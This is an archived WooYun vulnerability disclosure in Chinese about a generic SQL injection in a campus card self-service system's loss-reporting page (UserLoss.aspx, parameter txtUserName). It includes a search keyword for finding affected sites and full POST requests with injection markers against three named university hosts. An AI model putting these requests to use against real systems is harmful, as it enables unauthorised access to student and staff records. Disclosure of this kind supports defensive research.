当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-081698

漏洞标题：某校园一卡通通用型SQL注入

相关厂商：郑州新开普电子技术有限公司

漏洞作者： 路人甲

提交时间：2014-11-04 17:01

修复时间：2015-02-02 17:02

公开时间：2015-02-02 17:02

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：18

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-11-04： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-02-02： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

SQL注入

详细说明：

看到了这个 WooYun: 某一卡通系统SQL注入导致的诸多安全问题
漏洞在“自助挂失”模块，页面：UserInfo/UserLoss.aspx
参数：txtUserName
搜索关键字：一卡通自助查询管理系统--首页

QQ图片20141102090004.jpg


漏洞证明案例：
（一）http://zzcx.scujjedu.cn:114

POST /UserInfo/UserLoss.aspx HTTP/1.1
Host: zzcx.scujjedu.cn:114
Proxy-Connection: keep-alive
Content-Length: 401
Cache-Control: no-cache
Origin: http://zzcx.scujjedu.cn:114
X-MicrosoftAjax: Delta=true
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://zzcx.scujjedu.cn:114/UserInfo/UserLoss.aspx
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,fr;q=0.4,ja;q=0.2,ko;q=0.2,ru;q=0.2,vi;q=0.2,zh-TW;q=0.2,es;q=0.2,th;q=0.2
Cookie: ASP.NET_SessionId=xybrv445chd5ah552ihvsv2x
ScriptManager1=UpdatePanel2|btnUserLoss&__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwULLTIwODc3NjI3NjcPZBYCAgMPZBYCAgMPZBYCZg9kFgICAQ9kFgQCAQ8PFgIeBFRleHQFDOeUqOaIt%2BWQje%2B8mmRkAgMPDxYCHghSZWFkT25seWhkZGSnS8q77zxjTDLO72gRhx6m7S638A%3D%3D&txtUserName=*&txtPwd='&txtUserID='&__EVENTVALIDATION=%2FwEWBgKyoO%2BvBAKl1bKzCQKd%2B7qdDgLT8dy8BQKhnqfnBALJk9%2FkDKiCAPB9154eoy4MZ8znmwnkQvQy&btnUserLoss=


QQ图片20141102091009.jpg


QQ图片20141102091208.jpg


（二）http://yktweb.cqie.cn

POST /UserInfo/UserLoss.aspx HTTP/1.1
Host: yktweb.cqie.cn
Proxy-Connection: keep-alive
Content-Length: 399
Cache-Control: no-cache
Origin: http://yktweb.cqie.cn
X-MicrosoftAjax: Delta=true
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://yktweb.cqie.cn/UserInfo/UserLoss.aspx
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,fr;q=0.4,ja;q=0.2,ko;q=0.2,ru;q=0.2,vi;q=0.2,zh-TW;q=0.2,es;q=0.2,th;q=0.2
Cookie: ASP.NET_SessionId=gpegy25535qo30ypvbnmipnj
ScriptManager1=UpdatePanel2|btnUserLoss&__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwULLTIwODc3NjI3NjcPZBYCAgMPZBYCAgMPZBYCZg9kFgICAQ9kFgQCAQ8PFgIeBFRleHQFDOeUqOaIt%2BWQje%2B8mmRkAgMPDxYCHghSZWFkT25seWhkZGQLosoP6E2mONScgGNdj27IQLC2Bw%3D%3D&txtUserName=*&txtPwd='&txtUserID='&__EVENTVALIDATION=%2FwEWBgLw1bXtCwKl1bKzCQKd%2B7qdDgLT8dy8BQKhnqfnBALJk9%2FkDCeIgwSxG65c3RC8gZY1x3VS6SVQ&btnUserLoss=


QQ图片20141102091414.jpg


QQ图片20141102091545.jpg


（三）http://ecard.sdut.edu.cn

POST /UserInfo/UserLoss.aspx HTTP/1.1
Host: ecard.sdut.edu.cn
Proxy-Connection: keep-alive
Content-Length: 403
Cache-Control: no-cache
Origin: http://ecard.sdut.edu.cn
X-MicrosoftAjax: Delta=true
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://ecard.sdut.edu.cn/UserInfo/UserLoss.aspx
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,fr;q=0.4,ja;q=0.2,ko;q=0.2,ru;q=0.2,vi;q=0.2,zh-TW;q=0.2,es;q=0.2,th;q=0.2
Cookie: ASP.NET_SessionId=bhaaivbhexzsujz0mhbqb1vr
ScriptManager1=UpdatePanel2|btnUserLoss&__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwULLTIwODc3NjI3NjcPZBYCAgMPZBYCAgMPZBYCZg9kFgICAQ9kFgQCAQ8PFgIeBFRleHQFDOeUqOaIt%2BWQje%2B8mmRkAgMPDxYCHghSZWFkT25seWhkZGSSMzjppNWb%2FGaD6ZrniT97aLa5Dg%3D%3D&__EVENTVALIDATION=%2FwEWBgLD1uX4AwKl1bKzCQKd%2B7qdDgLT8dy8BQKhnqfnBALJk9%2FkDBMFdC9zEkbPl0tRML65L%2BcGvTCC&txtUserName=*&txtPwd='&txtUserID='&btnUserLoss=


QQ图片20141102091705.jpg


QQ图片20141102091744.jpg

漏洞证明：

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝